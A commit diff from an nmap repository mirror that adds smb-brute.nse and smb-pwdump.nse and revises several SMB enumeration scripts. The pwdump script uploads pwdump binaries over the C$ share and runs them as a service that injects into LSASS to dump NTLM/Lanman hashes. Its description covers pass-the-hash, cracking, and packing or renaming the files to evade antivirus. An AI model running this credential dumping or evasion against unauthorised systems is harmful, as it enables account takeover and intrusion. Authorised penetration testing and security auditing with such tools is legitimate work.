1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-14 19:59:02 +00:00

Merge in changes from my private branch, primarily smb-brute.nse and smb-pwdump.nse, among other smaller changes.

This commit is contained in:
ron
2009-03-05 02:03:29 +00:00
parent 523452a0d0
commit 45744eddc3
22 changed files with 4953 additions and 1117 deletions

View File

@@ -91,9 +91,13 @@ action = function(host)
end
-- Format the Mac address in the standard way
mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6))
-- Samba doesn't set the Mac address
if(mac == "00:00:00:00:00:00") then
if(#statistics >= 6) then
mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6))
-- Samba doesn't set the Mac address
if(mac == "00:00:00:00:00:00") then
mac = "<unknown>"
end
else
mac = "<unknown>"
end

View File

@@ -62,6 +62,8 @@ Entry{ category = "default", filename = "rpcinfo.nse" }
Entry{ category = "safe", filename = "rpcinfo.nse" }
Entry{ category = "discovery", filename = "rpcinfo.nse" }
Entry{ category = "version", filename = "skypev2-version.nse" }
Entry{ category = "intrusive", filename = "smb-brute.nse" }
Entry{ category = "auth", filename = "smb-brute.nse" }
Entry{ category = "intrusive", filename = "smb-check-vulns.nse" }
Entry{ category = "discovery", filename = "smb-enum-domains.nse" }
Entry{ category = "intrusive", filename = "smb-enum-domains.nse" }
@@ -76,6 +78,7 @@ Entry{ category = "intrusive", filename = "smb-enum-users.nse" }
Entry{ category = "default", filename = "smb-os-discovery.nse" }
Entry{ category = "discovery", filename = "smb-os-discovery.nse" }
Entry{ category = "safe", filename = "smb-os-discovery.nse" }
Entry{ category = "intrusive", filename = "smb-pwdump.nse" }
Entry{ category = "discovery", filename = "smb-security-mode.nse" }
Entry{ category = "safe", filename = "smb-security-mode.nse" }
Entry{ category = "discovery", filename = "smb-server-stats.nse" }

1046
scripts/smb-brute.nse Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -1,12 +1,18 @@
description = [[
Checks if a host is vulnerable to MS08-067, a Windows RPC vulnerability that
can allow remote code execution. This script is intended to check for more
can allow remote code execution. This script will be expanded to check for more
vulnerabilities in the future.
WARNING: These checks are dangerous, and are very likely to bring down a server.
These should not be run in a production environment unless you (and, more importantly,
the business) understand the risks!
As a system administrator, performing these kinds of checks is crucial, because
a lot more damage can be done by a worm or a hacker using this vulnerability than
by a scanner. Penetration testers, on the other hand, might not want to use this
script -- crashing services is not generally a good way of sneaking through a
network.
If you set the script parameter 'unsafe', then scripts will run that are almost
(or totally) guaranteed to crash a vulnerable system; do NOT specify <code>unsafe</code>
in a production environment! And that isn't to say that non-unsafe scripts will
@@ -14,7 +20,7 @@ not crash a system, they're just less likely to.
MS08-067 -- Checks if a host is vulnerable to MS08-067, a Windows RPC vulnerability that
can allow remote code execution. Checking for MS08-067 is very dangerous, as the check
is likelyto crash systems. On a fairly wide scan conducted by Brandon Enright, we determined
is likely to crash systems. On a fairly wide scan conducted by Brandon Enright, we determined
that on average, a vulnerable system is more likely to crash than to survive
the check. Out of 82 vulnerable systems, 52 crashed.

View File

@@ -1,5 +1,20 @@
description = [[
Attempts to enumerate domains on a system, along with their policies. This will likely only work without credentials against Windows 2000.
Attempts to enumerate domains on a system, along with their policies. This generally requires
credentials, except against Windows 2000. In addition to the actual domain, the "Builtin"
domain is generally displayed. Windows returns this in the list of domains, but its policies
don't appear to be used anywhere.
Much of the information provided is useful to a penetration tester, because it tells the
tester what types of policies to expect. For example, if passwords have a minimum length of 8,
the tester can trim his database to match; if the minimum length is 14, the tester will
probably start looking for sticky notes on people's monitors.
Another useful piece of information is the password lockouts -- a penetration tester often wants
to know whether or not there's a risk of negatively impacting a network, and this will
indicate it. The SID is displayed, which may be useful in other tools; the users are listed,
which uses different functions than <code>smb-enum-users.nse</code> (though likely won't
get different results), and the date and time the domain was created may give some insight into
its history.
After the initial <code>bind</code> to SAMR, the sequence of calls is:
* <code>Connect4</code>: get a connect_handle

View File

@@ -1,13 +1,19 @@
description = [[
Pulls a list of processes from the remote server over SMB (using the remote registry service and
HKEY_PERFORMANCE_DATA).
Pulls a list of processes from the remote server over SMB. This will determine
all running processes, their process IDs, and their parent processes. It is done
by querying the remote registry service, which is disabled by default on Vista; on
all other Windows versions, it requires Administrator privilges.
Requires Administrator access.
Since this requires administrator privileges, it isn't especially useful for a
penetration tester, since they can effectively do the same thing with metasploit
or other tools. It does, however, provide for a quick way to get process lists
for a bunch of systems at the same time.
WARNING: I have experienced crashes in regsvc.exe while making registry calls against a fully patched Windows
2000 system; I've fixed the issue that caused it, but there's no guarantee that it (or a similar vuln in the
same code) won't show up again.
WARNING: I have experienced crashes in regsvc.exe while making registry calls
against a fully patched Windows 2000 system; I've fixed the issue that caused it,
but there's no guarantee that it (or a similar vuln in the same code) won't show
up again. Since the process automatically restarts, it doesn't negatively impact
the system, besides showing a message box to the user.
]]
---
@@ -34,48 +40,24 @@ same code) won't show up again.
--
-- --
-- Host script results:
-- | smb-enum-processes:
-- | Idle
-- | | PID: 0, Parent: 0 [Idle]
-- | | Priority: 0
-- | |_Thread Count: 1, Handle Count: 0
-- | System
-- | | PID: 4, Parent: 0 [Idle]
-- | | Priority: 8
-- | |_Thread Count: 48, Handle Count: 392
-- | VMwareUser
-- | | PID: 212, Parent: 1832 [explorer]
-- | | Priority: 8
-- | |_Thread Count: 1, Handle Count: 45
-- | VMwareTray
-- | | PID: 240, Parent: 1832 [explorer]
-- | | Priority: 8
-- | |_Thread Count: 1, Handle Count: 41
-- | smss
-- | | PID: 252, Parent: 4 [System]
-- | | Priority: 11
-- | |_Thread Count: 3, Handle Count: 19
-- | csrss
-- | | PID: 300, Parent: 252 [smss]
-- | | Priority: 13
-- | |_Thread Count: 10, Handle Count: 347
-- | winlogon
-- | | PID: 324, Parent: 252 [smss]
-- | | Priority: 13
-- | |_Thread Count: 18, Handle Count: 513
-- | services
-- | | PID: 372, Parent: 324 [winlogon]
-- | | Priority: 9
-- | |_Thread Count: 17, Handle Count: 275
-- | lsass
-- | | PID: 384, Parent: 324 [winlogon]
-- | | Priority: 9
-- | |_Thread Count: 29, Handle Count: 415
-- | logon.scr
-- | | PID: 868, Parent: 324 [winlogon]
-- | | Priority: 4
-- | |_Thread Count: 1, Handle Count: 22
-- ...
-- | smb-enum-processes:
-- | Idle [0] (parent: 0, priority: 0, threads: 1, handles: 0)
-- | System [8] (parent: 0, priority: 8, threads: 34, handles: 190)
-- | smss [140] (parent: 8, priority: 11, threads: 6, handles: 33)
-- | winlogon [160] (parent: 140, priority: 13, threads: 14, handles: 335)
-- | csrss [164] (parent: 140, priority: 13, threads: 10, handles: 229)
-- | services [212] (parent: 160, priority: 9, threads: 33, handles: 462)
-- | lsass [224] (parent: 160, priority: 9, threads: 13, handles: 267)
-- | SPOOLSV [412] (parent: 212, priority: 8, threads: 10, handles: 95)
-- | svchost [448] (parent: 212, priority: 8, threads: 24, handles: 369)
-- | mstask [516] (parent: 212, priority: 8, threads: 6, handles: 89)
-- | VMwareService.e [572] (parent: 212, priority: 13, threads: 4, handles: 95)
-- | winmgmt [648] (parent: 212, priority: 8, threads: 3, handles: 89)
-- | cmd [700] (parent: 212, priority: 8, threads: 1, handles: 28)
-- | explorer [720] (parent: 620, priority: 8, threads: 10, handles: 239)
-- | VMwareUser [748] (parent: 720, priority: 8, threads: 1, handles: 30)
-- | VMwareTray [764] (parent: 720, priority: 8, threads: 1, handles: 30)
-- |_ regsvc [868] (parent: 212, priority: 8, threads: 4, handles: 76)
-----------------------------------------------------------------------
author = "Ron Bowes"
@@ -264,7 +246,7 @@ action = function(host)
end
end
response = ' \n' .. psl_print(psl)
elseif(nmap.verbosity() > 0) then
elseif(nmap.verbosity() > 1) then
for i = 1, #names, 1 do
local name = names[i]
if(name ~= '_Total') then
@@ -275,9 +257,7 @@ action = function(host)
-- response = response .. string.format("%6d %24s (Parent: %24s, Priority: %4d, Threads: %4d, Handles: %4d)\n", process[name]['ID Process'], name, parent, process[name]['Priority Base'], process[name]['Thread Count'], process[name]['Handle Count'])
response = response .. string.format("%s [%d]\n", name, process[name]['ID Process'])
response = response .. string.format("| Parent: %s [%s]\n", process[name]['Creating Process ID'], parent)
response = response .. string.format("| Priority: %s, Thread Count: %s, Handle Count: %s\n", process[name]['Priority Base'], process[name]['Thread Count'], process[name]['Handle Count'])
response = response .. string.format("%s [%d] (parent: %s, priority: %s, threads: %s, handles: %s)\n", name, process[name]['ID Process'], process[name]['Creating Process ID'], process[name]['Priority Base'], process[name]['Thread Count'], process[name]['Handle Count'])
end
end

View File

@@ -1,29 +1,42 @@
description = [[
Enumerates the users logged into a system either locally or through an SMB share.
Enumerates the users logged into a system either locally or through an SMB share. The local users
can be logged on either physically on the machine, or through a terminal services session.
Connections to a SMB share are, for example, people connected to fileshares or making RPC calls.
Nmap's connection will also show up, and is generally identified by the one that connected "0
seconds ago".
Enumerating the local and terminal services users is done by reading the remote registry. Keys stored under
<code>HKEY_USERS</code> are SIDs that represent the currently logged in users, and those SIDs can be converted
to proper names by using the <code>lsar.LsaLookupSids</code> function. Doing this requires any access higher than
anonymous. Guests, users, or administrators are all able to perform this request on the operating
systems I (Ron Bowes) tested.
From the perspective of a penetration tester, the SMB Sessions is probably the most useful
part of this program, especially because it doesn't require a high level of access. On, for
example, a file server, there might be a dozen or more users connected at the same time. Based
on the usernames, it might tell the tester what types of files are stored on the share.
Enumerating SMB connections is done using the <code>srvsvc.netsessenum</code> function, which returns who's
logged in, when they logged in, and how long they've been idle for. Unfortunately, I couldn't find
a way to get the user's domain with this function, so the domain isn't printed. The level of access
required for this varies between Windows versions, but in Windows 2000 anybody (including the
anonymous account) can access this, and in Windows 2003 a user or administrator account is
required.
Since the IP they're connected from and the account is revealed, the information here can also
provide extra targets to test, as well as a username that's likely valid on that target. Additionally,
since a strong username to ip correlation is given, it can be a boost to a social engineering
attack.
Since both of these are related to users being logged into the server, it seemed logical to combine
them into a single script.
Enumerating the logged in users is done by reading the remote registry (and therefore won't
work against Vista, which disables it by default). Keys stored under <code>HKEY_USERS</code> are
SIDs that represent the connected users, and those SIDs can be converted to proper names by using
the <code>lsar.LsaLookupSids</code> function. Doing this requires any access higher than
anonymous; guests, users, or administrators are all able to perform this request on Windows 2000,
XP, 2003, and Vista.
I learned the idea and technique for this from sysinternals' tool, PsLoggedOn.exe. I use similar
function calls to what they use, so thanks go out to them. Thanks also to Matt Gardenghi, for requesting
this script.
Enumerating SMB connections is done using the <code>srvsvc.netsessenum</code> function, which
returns the usernames that are logged in, when they logged in, and how long they've been idle
for. The level of access required for this varies between Windows versions, but in Windows
2000 anybody (including the anonymous account) can access this, and in Windows 2003 a user
or administrator account is required.
WARNING: I have experienced crashes in regsvc.exe while making registry calls against a fully patched Windows
2000 system; I've fixed the issue that caused it, but there's no guarantee that it (or a similar vuln in the
same code) won't show up again.
I learned the idea and technique for this from sysinternals' tool, PsLoggedOn.exe. I (Ron
Bowes) use similar function calls to what they use (although I didn't use their source),
so thanks go out to them. Thanks also to Matt Gardenghi, for requesting this script.
WARNING: I have experienced crashes in regsvc.exe while making registry calls
against a fully patched Windows 2000 system; I've fixed the issue that caused it,
but there's no guarantee that it (or a similar vuln in the same code) won't show
up again. Since the process automatically restarts, it doesn't negatively impact
the system, besides showing a message box to the user.
]]
---
@@ -221,7 +234,11 @@ local function winreg_enum_rids(host)
else
result['name'] = lookupsids2_result['names']['names'][1]['name']
result['type'] = lookupsids2_result['names']['names'][1]['sid_type']
result['domain'] = lookupsids2_result['domains']['domains'][1]['name']
if(lookupsids2_result['domains'] ~= nil and lookupsids2_result['domains']['domains'] ~= nil and lookupsids2_result['domains']['domains'][1] ~= nil) then
result['domain'] = lookupsids2_result['domains']['domains'][1]['name']
else
result['domain'] = ""
end
end
if(result['type'] ~= "SID_NAME_WKN_GRP") then -- Don't show "well known" accounts
@@ -242,7 +259,10 @@ local function winreg_enum_rids(host)
return true, results
end
--_G.TRACEBACK = TRACEBACK or {}
action = function(host)
-- TRACEBACK[coroutine.running()] = true;
local response = " \n"
@@ -258,7 +278,9 @@ action = function(host)
response = response .. "|_ <nobody>\n"
else
for i = 1, #users, 1 do
response = response .. string.format("|_ %s\\%s since %s\n", users[i]['domain'], users[i]['name'], users[i]['changed_date'])
if(users[i]['name'] ~= nil) then
response = response .. string.format("|_ %s\\%s since %s\n", users[i]['domain'], users[i]['name'], users[i]['changed_date'])
end
end
end
end

View File

@@ -1,21 +1,25 @@
description = [[
Attempts to list shares using the <code>srvsvc.NetShareEnumAll</code> MSRPC function and
retrieve more information about them using <code>srvsvc.NetShareGetInfo</code>.
retrieve more information about them using <code>srvsvc.NetShareGetInfo</code>. If access
to those functions is denied, a list of common share names are checked.
Finding open shares is useful to a penetration tester because there may be private files
shared, or, if it's writable, it could be a good place to drop a Trojan or to infect a file
that's already there. Knowing where the share is could make those kinds of tests more useful,
except that determiing where the share is requires administrative privileges already.
Running <code>NetShareEnumAll</code> will work anonymously against Windows 2000, and
requires a user-level account on any other Windows version. Calling <code>NetShareGetInfo</code>
requires an administrator account on every version of Windows I (Ron Bowes) tested.
requires an administrator account on all versions of Windows up to 2003, as well as Windows Vista
and Windows 7, if UAC is turned down.
Although <code>NetShareEnumAll</code> is restricted on certain systems, making a connection to
a share to check whether or not it exists will always work. So, if <code>NetShareEnumAll</code>
fails, a list of common shares will be checked.
Even if <code>NetShareEnumAll</code> is restricted, attempting to connect to a share will always
reveal its existence. So, if <code>NetShareEnumAll</code> fails, a pre-generated list of shares,
based on a large test network, are used. If any of those succeed, they are recorded.
After a list of shares is found, we attempt to connect to each of them anonymously, which lets
us divide them into the classes "anonymous" and "restricted."
When possible, once the list of shares is determined, <code>NetShareGetInfo</code> is called
to get additional information on them. Odds are this will fail, unless we're doing an authenticated
test.
After a list of shares is found, the script attempts to connect to each of them anonymously,
which divides them into "anonymous", for shares that the NULL user can connect to, or "restricted",
for shares that require a user account.
]]
---
@@ -69,51 +73,6 @@ hostrule = function(host)
return smb.get_port(host) ~= nil
end
---Attempts to enumerate the shares on a remote system using MSRPC calls. This will likely fail
-- against a modern system, but will succeed against Windows 2000.
--
--@param host The host object.
--@return Status (true or false).
--@return List of shares (if status is true) or an an error string (if status is false).
local function samr_enum_shares(host)
local status, smbstate
local bind_result, netshareenumall_result
local shares
local i, v
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
if(status == false) then
return false, smbstate
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
smb.stop(smbstate)
return false, bind_result
end
-- Call netsharenumall
status, netshareenumall_result = msrpc.srvsvc_netshareenumall(smbstate, host.ip)
if(status == false) then
smb.stop(smbstate)
return false, netshareenumall_result
end
-- Stop the SMB session
smb.stop(smbstate)
-- Convert the share list to an array
shares = {}
for i, v in pairs(netshareenumall_result['ctr']['array']) do
shares[#shares + 1] = v['name']
end
return true, shares
end
---Attempts to connect to a list of shares as the anonymous user, returning which ones
-- it has and doesn't have access to.
--
@@ -205,42 +164,6 @@ function check_shares(host, shares)
return true, allowed_shares, denied_shares
end
---Attempts to retrieve additional information about a share. Will fail unless we have
-- administrative access.
--
--@param host The host object.
--@return Status (true or false).
--@return List of shares (if status is true) or an an error string (if status is false).
local function get_share_info(host, name)
local status, smbstate
local response = {}
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
if(status == false) then
return false, smbstate
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
smb.stop(smbstate)
return false, bind_result
end
-- Call NetShareGetInfo
status, netsharegetinfo_result = msrpc.srvsvc_netsharegetinfo(smbstate, host.ip, name, 2)
if(status == false) then
smb.stop(smbstate)
return false, netsharegetinfo_result
end
smb.stop(smbstate)
return true, netsharegetinfo_result
end
action = function(host)
local enum_result
@@ -250,7 +173,7 @@ action = function(host)
local allowed, denied
-- Try and do this the good way, make a MSRPC call to get the shares
enum_result, shares = samr_enum_shares(host)
enum_result, shares = msrpc.enum_shares(host)
-- If that failed, try doing it with brute force. This almost certainly won't find everything, but it's the
-- best we can do.
@@ -295,7 +218,7 @@ action = function(host)
else
response = response .. string.format("Anonymous shares:\n")
for i = 1, #allowed, 1 do
local status, info = get_share_info(host, allowed[i])
local status, info = msrpc.get_share_info(host, allowed[i])
response = response .. string.format(" %s\n", allowed[i])
@@ -317,7 +240,7 @@ action = function(host)
response = response .. string.format("Restricted shares:\n")
for i = 1, #denied, 1 do
local status, info = get_share_info(host, denied[i])
local status, info = msrpc.get_share_info(host, denied[i])
response = response .. string.format(" %s\n", denied[i])

View File

@@ -1,29 +1,37 @@
description = [[
Attempts to enumerate the users on a remote Windows system, with as much
information as possible, through two different techniques (both over MSRPC,
which uses port 445 or 139). Some SAMR functions are used to enumerate users,
and bruteforce LSA guessing is attempted.
which uses port 445 or 139; see <code>smb.lua</code>). The goal of this script
is to discover all user accounts that exist on a remote system. This can be
helpful for administration, by seeing who has an account on a server, or for
penetration testing or network footprinting, by determining which accounts
exist on a system.
By default, both SAMR enumeration and LSA bruteforcing are used; however, these
can be fine tuned using Nmap parameters. For the most possible information,
leave the defaults; however, there are advantages to using them individually.
A penetration tester who is examining servers may wish to determine the
purpose of a server. By getting a list of who has access to it, the tester
might get a better idea (if financial people have accounts, it probably
relates to financial information). Additionally, knowing which accounts
exist on a system (or on multiple systems) allows the pen-tester to build a
dictionary of possible usernames for bruteforces, such as a SMB bruteforce
or a Telnet bruteforce. These accounts may be helpful for other purposes,
such as using the accounts in Web applications on this or other servers.
From a pen-testers perspective, retrieving the list of users on any
given server creates endless possibilities.
Users are enumerated in two different ways: using SAMR enumeration or
LSA bruteforcing. By default, both are used, but they have specific
advantages and disadvantages. Using both is a great default, but in certain
circumstances it may be best to give preference to one.
Advantages of using SAMR enumeration:
* Stealthier (requires one packet/user account, whereas LSA uses at least 10
packets while SAMR uses half that; additionally, LSA makes a lot of noise in
the Windows event log (LSA enumeration is the only script I (Ron Bowes) have
been called on by the administrator of a box I was testing against).
* Stealthier (requires one packet/user account, whereas LSA uses at least 10 packets while SAMR uses half that; additionally, LSA makes a lot of noise in the Windows event log (LSA enumeration is the only script I (Ron Bowes) have been called on by the administrator of a box I was testing against).
* More information is returned (more than just the username).
* Every account will be found, since they're being enumerated with a function
that's designed to enumerate users.
* Every account will be found, since they're being enumerated with a function that's designed to enumerate users.
Advantages of using LSA bruteforcing:
* More accounts are returned (system accounts, groups, and aliases are returned,
not just users).
* Requires a lower-level account to run on Windows XP and higher (a 'guest' account
can be used, whereas SAMR enumeration requires a 'user' account; especially useful
when only guest access is allowed, or when an account has a blank password (which
effectively gives it guest access)).
* More accounts are returned (system accounts, groups, and aliases are returned, not just users).
* Requires a lower-level account to run on Windows XP and higher (a 'guest' account can be used, whereas SAMR enumeration requires a 'user' account; especially useful when only guest access is allowed, or when an account has a blank password (which effectively gives it guest access)).
SAMR enumeration is done with the <code>QueryDisplayInfo</code> function.
If this succeeds, it will return a detailed list of users, along with descriptions,

View File

@@ -1,8 +1,9 @@
description = [[
Attempts to determine the operating system, computer name, domain, and current
time over the SMB protocol (ports 445 or 139). This is done by starting a
session with the anonymous account (or with a proper user account, if one is
given); in response to a session starting, the server will send back all this
time over the SMB protocol (ports 445 or 139 -- for more information, see
<code>smb.lua</code>). This is done by starting a session with the anonymous
account (or with a proper user account, if one is given -- likely doesn't make
a difference); in response to a session starting, the server will send back all this
information.
Some systems, like Samba, will blank out their name (and only send their domain).
@@ -10,6 +11,12 @@ Other systems (like embedded printers) will simply leave out the information. Ot
systems will blank out various pieces (some will send back '0' for the current
time, for example).
Retrieving the name and operating system of a server is a vital step in targeting
an attack against it, and this script makes that retrieval easy. Additionally, if
a penetration tester is choosing between multiple targets, the time can help identify
servers that are being poorly maintained (for more information/random thoughts on
using the time, see <http://www.skullsecurity.org/blog/?p=76>.
Although the standard <code>smb*</code> script arguments can be used,
they likely won't change the outcome in any meaningful way.
]]
@@ -55,81 +62,17 @@ end
action = function(host)
local state
local status, err
-- Start up SMB
status, state = smb.start(host)
local status, result = smb.get_os(host)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. state
return "smb-os-discovery: ERROR: " .. result
else
return nil
end
end
-- Negotiate protocol
status, err = smb.negotiate_protocol(state)
if(status == false) then
stdnse.print_debug(2, "Negotiate session failed")
smb.stop(state)
if(nmap.debugging() > 0) then
return "ERROR: " .. err
else
return nil
end
end
-- Start a session
status, err = smb.start_session(state, "")
if(status == false) then
smb.stop(state)
if(nmap.debugging() > 0) then
return "ERROR: " .. err
else
return nil
end
end
-- Kill SMB
smb.stop(state)
if(state['os'] == nil and state['lanmanager'] == nil) then
if(nmap.debugging() > 0) then
return "Server didn't return OS details"
else
return nil
end
end
if(state['os'] == nil) then
state['os'] = "Unknown"
end
if(state['lanmanager'] == nil) then
state['lanmanager'] = "Unknown"
end
if(state['domain'] == nil) then
state['domain'] = "Unknown"
end
if(state['server'] == nil) then
state['server'] = "Unknown"
end
if(state['date'] == nil) then
state['date'] = "Unknown"
end
if(state['timezone_str'] == nil) then
state['timezone_str'] = ""
end
return string.format("%s\nLAN Manager: %s\nName: %s\\%s\nSystem time: %s %s\n", get_windows_version(state['os']), state['lanmanager'], state['domain'], state['server'], state['date'], state['timezone_str'])
return string.format("%s\nLAN Manager: %s\nName: %s\\%s\nSystem time: %s %s\n", get_windows_version(result['os']), result['lanmanager'], result['domain'], result['server'], result['date'], result['timezone_str'])
end

513
scripts/smb-pwdump.nse Normal file
View File

@@ -0,0 +1,513 @@
description = [[
This script implements the functionality found in pwdump.exe, written by the Foofus group.
Essentially, it works by using pwdump6's modules (servpw.exe and lsremora.dll) to dump the
password hashes for a remote machine. This currently works against Windows 2000 and Windows
2003.
To run this script, the executable files for pwdump, servpw.exe and lsremora.dll, have to be
downloaded. These can be found at <http://foofus.net/fizzgig/pwdump/>, and version 1.6 has been
tested. Those two files should be placed in nmap's nselib data directory, <code>.../nselib/data/</code>.
Note that these files will likely trigger antivirus software -- if you want to get around that,
I recommend compiling your own version or obfuscating/encrypting/packing them (upx works wonders).
Another possible way around antivirus software is to change the filenames (especially on the remote
system -- triggering antivirus on the remote system can land you with some questions to answer). To do
that, simply change the <code>FILE*</code> constants in <code>smb-pwdump.nse</code>.
The hashes dumped are Lanman and NTLM, and they're in the format Lanman:NTLM. If one or the other
isn't set, it's indicated. These are the hashes that are stored in the SAM file on Windows,
and can be used in place of a password to log into systems (this technique is called "passing the
hash", and can be done in Nmap by using the <code>smbhash</code> argument instead of
<code>smbpassword</code> -- see <code>smbauth.lua</code> for more information.
In addition to directly using the hashes, the hashes can also be cracked. Hashes can be cracked
fairly easily with Rainbow Crack (rcrack) or John the Ripper (john). If you intend to crack the
hashes without smb-pwdump.nse's help, I suggest setting the <code>strict</code> parameter to '1', which
tells smb-pwdump.nse to print the hashes in pwdump format (except for the leading pipe '|', which
Nmap adds). Alternatively, you can tell the script to crack the passwords using the <code>rtable</code>
argument. For example:
<code>nmap -p445 --script=smb-pwdump --script-args=smbuser=ron,smbpass=iagotest2k3,rtable=/tmp/alpha/*.rt <host></code>
This assumes that 'rcrack' is installed in a standard place -- if not, the <code>rcrack</code> parameter
can be set to the path. The charset.txt file from Rainbow Crack may also have to be in the current
directory.
This script works by uploading the pwdump6 program to a fileshare, then establishing a connection
to the service control service (SVCCTL) and creating a new service, pointing to the pwdump6 program
(this sounds really invasive, but it's identical to how pwdump6, fgdump, psexec, etc. work). The service
runs, and sends back the data. Once the service is finished, the script will stop the service and
delete the files.
Obviously, this script is <em>highly</em> intrusive (and requires administrative privileges).
It's running a service on the remote machine (with SYSTEM-level access) to accomplish its goals,
and the service injects itself into the LSASS process to collect the needed information.
That being said, extra effort was focused on cleaning up. Unless something really bad happens
(which is always possible with a script like this), the service will be removed and the files
deleted.
Currently, this will only run against server versions of Windows (Windows 2000 and Windows 2003).
I (Ron Bowes) am hoping to make Windows XP work, but I've had nothing but trouble. Windows Vista
and higher won't ever work, because they disable the SVCCTL process.
This script was written mostly to highlight Nmap's growing potential as a pen-testing tool.
It complements the <code>smb-brute.nse</code> script because smb-brute can find weak administrator
passwords, then smb-pwdump.nse can use those passwords to dump hashes/passwords. Those can be added
to the password list for more brute forcing.
Since this tool can be dangerous, and can easily be viewed as a malicious tool, the usual
disclaimer applies -- use this responsibly, and especially don't break any laws with it.
]]
---
-- @usage
-- nmap --script smb-pwdump.nse --script-args=smbuser=<username>,smbpass=<password> -p445 <host>
-- sudo nmap -sU -sS --script smb-pwdump.nse --script-args=smbuser=<username>,smbpass=<password> -p U:137,T:139 <host>
--
-- @output
-- | smb-test:
-- | Administrator:500:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
-- | ASPNET:1001:359E64F7361B678C283B72844ABF5707:49B784EF1E7AE06953E7A4D37A3E9529:::
-- | blankadmin:1003:NO PASSWORD*********************:NO PASSWORD*********************:::
-- | blankuser:1004:NO PASSWORD*********************:NO PASSWORD*********************:::
-- | Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
-- | Ron:1000:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
-- |_ test:1002:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
--
-- @args rcrack Override the location checked for the Rainbow Crack program. By default, uses the default
-- directories searched by Lua (the $PATH variable, most likely)
-- @args rtable Set the path to the Rainbow Tables; for example, <code>/tmp/rainbow/*.rt</code>.
-- @args strict If set to '1', enable strict output. All output will be in pure pwdump format,
-- except for the leading pipe.
-----------------------------------------------------------------------
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive"}
require 'msrpc'
require 'smb'
require 'stdnse'
require 'nsedebug'
local SERVICE = "nmap-pwdump"
local PIPE = "nmap-pipe"
local FILE1 = "nselib/data/lsremora.dll"
local FILENAME1 = "lsremora.dll"
local FILE2 = "nselib/data/servpw.exe"
local FILENAME2 = "servpw.exe"
hostrule = function(host)
return smb.get_port(host) ~= nil
end
---Stop/delete the service and delete the service file. This can be used alone to clean up the
-- pwdump stuff, if this crashes.
function cleanup(host)
local status, err
stdnse.print_debug(1, "Entering cleanup() -- errors here can generally be ignored")
-- Try stopping the service
status, err = msrpc.service_stop(host, SERVICE)
if(status == false) then
stdnse.print_debug(1, "Couldn't stop service: %s", err)
end
-- os.exit()
-- Try deleting the service
status, err = msrpc.service_delete(host, SERVICE)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete service: %s", err)
end
-- Delete the files
status, err = smb.file_delete(host, "C$", "\\" .. FILENAME1)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME1, err)
end
status, err = smb.file_delete(host, "C$", "\\" .. FILENAME2)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME2, err)
end
stdnse.print_debug(1, "Leaving cleanup()")
return true
end
function upload_files(host)
local status, err
status, err = smb.file_upload(host, FILE1, "C$", "\\" .. FILENAME1)
if(status == false) then
cleanup(host)
return false, string.format("Couldn't upload %s: %s\n", FILE1, err)
end
status, err = smb.file_upload(host, FILE2, "C$", "\\" .. FILENAME2)
if(status == false) then
cleanup(host)
return false, string.format("Couldn't upload %s: %s\n", FILE2, err)
end
return true
end
function read_and_decrypt(host, key, pipe)
local status, smbstate
local results = {}
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
if(status == false) then
return false, smbstate
end
local i = 1
repeat
local status, wait_result, create_result, read_result, close_result
results[i] = {}
-- Wait for some data to show up on the pipe (there's a bit of a race condition here -- if this is called before the pipe is
-- created, it'll fail with a STATUS_OBJECT_NAME_NOT_FOUND.
local j = 1
repeat
status, wait_result = smb.send_transaction_waitnamedpipe(smbstate, 0, "\\PIPE\\" .. pipe)
if(status ~= false) then
break
end
stdnse.print_debug(1, "WaitForNamedPipe() failed: %s (this may be normal behaviour)", wait_result)
j = j + 1
-- TODO: Wait 50ms, if there's a time when we get an actual sleep()-style function.
until status == true
if(j == 100) then
smbstop(smbstate)
return false, "WaitForNamedPipe() failed, service may not have been created properly."
end
-- Get a handle to the pipe
status, create_result = smb.create_file(smbstate, "\\" .. pipe)
if(status == false) then
smb.stop(smbstate)
return false, create_result
end
status, read_result = smb.read_file(smbstate, 0, 1000)
if(status == false) then
-- TODO: Figure out how to handle errors better
return false, read_result
else
local data = read_result['data']
local code = string.byte(string.sub(data, 1, 1))
if(code == 0) then
break
elseif(code == 2) then
local cUserBlocks = string.byte(string.sub(data, 3, 3))
local userblock = ""
for j = 0, cUserBlocks, 1 do
local _, a, b = bin.unpack("<II", data, 68 + (j * 8))
local encrypted = bin.pack(">II", a, b)
local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
_, a, b = bin.unpack("<II", decrypted_hex)
userblock = userblock .. bin.pack(">II", a, b)
end
local password_block = ""
for j = 0, 3, 1 do
local _, a, b = bin.unpack("<II", data, 4 + (j * 8))
local encrypted = bin.pack(">II", a, b)
local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
_, a, b = bin.unpack("<II", decrypted_hex)
password_block = password_block .. bin.pack(">II", a, b)
end
_, results[i]['username'] = bin.unpack("z", userblock)
